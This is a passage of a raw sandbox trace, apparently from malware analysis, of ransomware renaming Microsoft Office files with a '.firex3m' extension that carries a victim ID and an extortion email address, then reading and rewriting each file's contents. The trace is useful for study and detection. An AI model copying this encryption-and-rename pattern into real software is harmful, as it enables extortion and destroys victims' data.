[0136.353] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF", len=0x44 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 1 [0136.353] GetProcessHeap () returned 0x630000 [0136.353] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x254) returned 0x670860 [0136.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0136.354] CloseHandle (hObject=0x67c) returned 1 [0136.354] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0136.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0136.355] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0012~1.FIR")) returned 0x6d5400 [0136.355] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0136.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0136.355] GetProcessHeap () returned 0x630000 [0136.355] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2061) returned 0x6ecd480 [0136.355] GetProcessHeap () returned 0x630000 [0136.355] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2061) returned 0x717b0d0 [0136.355] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.355] ReadFile (in: hFile=0x67c, lpBuffer=0x6ecd480, nNumberOfBytesToRead=0x2040, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecd480*, lpNumberOfBytesRead=0x687ff0c*=0x2040, lpOverlapped=0x0) returned 1 [0138.210] GetProcessHeap () returned 0x630000 [0138.210] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0138.210] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.210] WriteFile (in: hFile=0x67c, lpBuffer=0x717b0d0*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717b0d0*, lpNumberOfBytesWritten=0x687ff0c*=0x2040, lpOverlapped=0x0) returned 1 [0138.210] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.210] WriteFile (in: hFile=0x67c, lpBuffer=0x717d10f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717d10f*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.210] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.210] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.210] CloseHandle (hObject=0x67c) returned 1 [0138.211] GetProcessHeap () returned 0x630000 [0138.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717b0d0 | out: hHeap=0x630000) returned 1 [0138.212] GetProcessHeap () returned 0x630000 [0138.212] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecd480 | out: hHeap=0x630000) returned 1 [0138.212] GetProcessHeap () returned 0x630000 [0138.212] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0138.212] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.212] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18546ba5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2064, dwReserved0=0x9a87496, dwReserved1=0x6ecd478, cFileName="DD00121_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0012~1.FIR")) returned 0x6d54c0 [0138.212] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0138.212] Sleep (dwMilliseconds=0x1) [0139.845] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms", len=0x55 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 1 [0139.845] GetProcessHeap () returned 0x630000 [0139.845] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c78) returned 0x7203db8 [0139.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0142.323] CloseHandle (hObject=0x4e4) returned 1 [0142.324] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.813] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43967f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43967f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe45d2bff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d5c, dwReserved0=0x4708fdb2, dwReserved1=0x66002e, cFileName="HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOF848~1.FIR")) returned 0x6d4e00 [0143.813] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0143.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0143.814] GetProcessHeap () returned 0x630000 [0143.814] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x7258170 [0143.814] GetProcessHeap () returned 0x630000 [0143.814] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x725aee0 [0143.814] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.814] ReadFile (in: hFile=0x4e4, lpBuffer=0x7258170, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7258170*, lpNumberOfBytesRead=0x687ff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0144.225] GetProcessHeap () returned 0x630000 [0144.225] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176138 [0144.225] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.225] WriteFile (in: hFile=0x4e4, lpBuffer=0x725aee0*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x725aee0*, lpNumberOfBytesWritten=0x687ff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0145.095] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.095] WriteFile (in: hFile=0x4e4, lpBuffer=0x725dc1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x725dc1f*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.733] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.733] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.733] CloseHandle (hObject=0x4e4) returned 1 [0145.909] GetProcessHeap () returned 0x630000 [0145.909] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x725aee0 | out: hHeap=0x630000) returned 1 [0145.909] GetProcessHeap () returned 0x630000 [0145.909] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7258170 | out: hHeap=0x630000) returned 1 [0145.909] GetProcessHeap () returned 0x630000 [0145.909] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176138 | out: hHeap=0x630000) returned 1 [0145.909] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43967f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43967f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cd06bbf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d80, dwReserved0=0x9a87496, dwReserved1=0x7258168, cFileName="HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOF848~1.FIR")) returned 0x6d5380 [0145.909] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0145.909] Sleep (dwMilliseconds=0x1) [0146.015] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK", len=0x47 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK") returned 1 [0146.015] GetProcessHeap () returned 0x630000 [0146.015] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x278c) returned 0x71f7c78 [0146.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.601] CloseHandle (hObject=0x640) returned 1 [0146.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.601] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa31ce71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~4.FIR")) returned 0x6d5440 [0146.602] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0146.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.602] GetProcessHeap () returned 0x630000 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4e98 [0146.602] GetProcessHeap () returned 0x630000 [0146.602] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4628 [0146.603] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.603] ReadFile (in: hFile=0x640, lpBuffer=0x6a4e98, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e98*, lpNumberOfBytesRead=0x687ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.604] GetProcessHeap () returned 0x630000 [0146.604] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0146.604] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.604] WriteFile (in: hFile=0x640, lpBuffer=0x6a4628*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4628*, lpNumberOfBytesWritten=0x687ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.614] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.614] WriteFile (in: hFile=0x640, lpBuffer=0x6a4687*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4687*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.614] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.614] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.614] CloseHandle (hObject=0x640) returned 1 [0146.614] GetProcessHeap () returned 0x630000 [0146.614] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4628 | out: hHeap=0x630000) returned 1 [0146.614] GetProcessHeap () returned 0x630000 [0146.614] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4e98 | out: hHeap=0x630000) returned 1 [0146.614] GetProcessHeap () returned 0x630000 [0146.614] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0146.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d55ef48, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x687fd20, dwReserved1=0x6a4e98, cFileName="POWERPNT_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~4.FIR")) returned 0x6d5340 [0146.614] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0146.615] Sleep (dwMilliseconds=0x1) [0147.778] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT", len=0x41 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT") returned 1 [0147.778] GetProcessHeap () returned 0x630000 [0147.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26b8) returned 0x71f7c78 [0147.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0148.815] CloseHandle (hObject=0x708) returned 1 [0148.815] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0148.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0148.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0148.858] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f777, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHKEY.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSRCHK~1.FIR")) returned 0x6d5540 [0148.858] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0148.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0148.858] GetProcessHeap () returned 0x630000 [0148.858] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x706d6b0 [0148.858] GetProcessHeap () returned 0x630000 [0148.858] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fabfe8 [0148.859] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.859] ReadFile (in: hFile=0x708, lpBuffer=0x706d6b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706d6b0*, lpNumberOfBytesRead=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0155.800] GetProcessHeap () returned 0x630000 [0155.800] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177718 [0155.801] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.801] WriteFile (in: hFile=0x708, lpBuffer=0x6fabfe8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fabfe8*, lpNumberOfBytesWritten=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0155.801] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.801] WriteFile (in: hFile=0x708, lpBuffer=0x6fb73e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb73e7*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.026] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.026] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.026] CloseHandle (hObject=0x708) returned 1 [0158.026] GetProcessHeap () returned 0x630000 [0158.026] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fabfe8 | out: hHeap=0x630000) returned 1 [0158.027] GetProcessHeap () returned 0x630000 [0158.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706d6b0 | out: hHeap=0x630000) returned 1 [0158.027] GetProcessHeap () returned 0x630000 [0158.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177718 | out: hHeap=0x630000) returned 1 [0158.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, 